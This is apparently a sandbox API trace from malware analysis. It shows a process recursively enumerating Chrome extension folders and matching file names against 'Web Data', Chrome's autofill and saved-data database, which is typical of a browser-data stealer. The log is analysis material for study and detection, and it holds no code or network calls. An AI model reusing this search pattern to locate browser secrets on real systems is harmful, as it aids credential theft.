lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0078.534] LocalFree (hMem=0x6523b0) returned 0x0 [0078.534] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.534] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0078.534] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*" [0078.534] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.534] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.534] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.535] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.535] LocalFree (hMem=0x6525c0) returned 0x0 [0078.535] LocalFree (hMem=0x6524b8) returned 0x0 [0078.535] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.535] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.535] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.535] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.535] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0078.535] LocalFree (hMem=0x6523b0) returned 0x0 [0078.535] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.535] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0078.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*" [0078.535] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.536] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.536] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.536] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.536] LocalFree (hMem=0x6525c0) returned 0x0 [0078.536] LocalFree (hMem=0x6524b8) returned 0x0 [0078.536] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.536] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.536] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.536] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.536] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.536] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.536] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0078.536] LocalFree (hMem=0x6523b0) returned 0x0 [0078.536] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.536] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0078.536] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*" [0078.536] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.537] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.537] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.537] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.537] LocalFree (hMem=0x6525c0) returned 0x0 [0078.537] LocalFree (hMem=0x6524b8) returned 0x0 [0078.537] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.537] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.537] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.537] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.537] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.537] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.537] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0078.537] LocalFree (hMem=0x6523b0) returned 0x0 [0078.537] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.537] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0078.537] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*" [0078.537] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.538] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.538] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.538] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.538] LocalFree (hMem=0x6525c0) returned 0x0 [0078.538] LocalFree (hMem=0x6524b8) returned 0x0 [0078.538] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0 [0078.538] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.538] LocalFree (hMem=0x6522a8) returned 0x0 [0078.538] LocalFree (hMem=0x650750) returned 0x0 [0078.538] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 1 [0078.538] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x650650 [0078.538] lstrcpyA (in: lpString1=0x650650, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0078.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0078.538] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x650750 [0078.538] lstrcpyA (in: lpString1=0x650750, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0078.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0078.538] LocalFree (hMem=0x650650) returned 0x0 [0078.538] LocalAlloc (uFlags=0x40, uBytes=0xff) returned 0x6522a8 [0078.538] lstrcpyA (in: lpString1=0x6522a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0078.538] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*" [0078.538] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0x6428e8 [0078.539] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0078.539] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.539] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0078.539] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 0 [0078.539] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0078.539] LocalFree (hMem=0x6522a8) returned 0x0 [0078.539] LocalFree (hMem=0x650750) returned 0x0 [0078.539] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f646 | out: lpFindFileData=0x12f646) returned 0 [0078.539] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0078.539] LocalFree (hMem=0x650550) returned 0x0 [0078.539] LocalFree (hMem=0x650450) returned 0x0 [0078.539] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0 [0078.539] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0078.540] LocalFree (hMem=0x65e540) returned 0x0 [0078.540] LocalFree (hMem=0x65e638) returned 0x0 [0078.540] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x663af0 [0078.540] lstrcpyA (in: lpString1=0x663af0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xeb) returned 0x65e638 [0078.540] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0078.540] LocalFree (hMem=0x663af0) returned 0x0 [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xef) returned 0x65e540 [0078.540] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*" [0078.540] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x65e730 [0078.540] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x650450 [0078.540] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.0.0.6_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0078.540] LocalFree (hMem=0x65e730) returned 0x0 [0078.540] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x650550 [0078.540] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0078.540] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 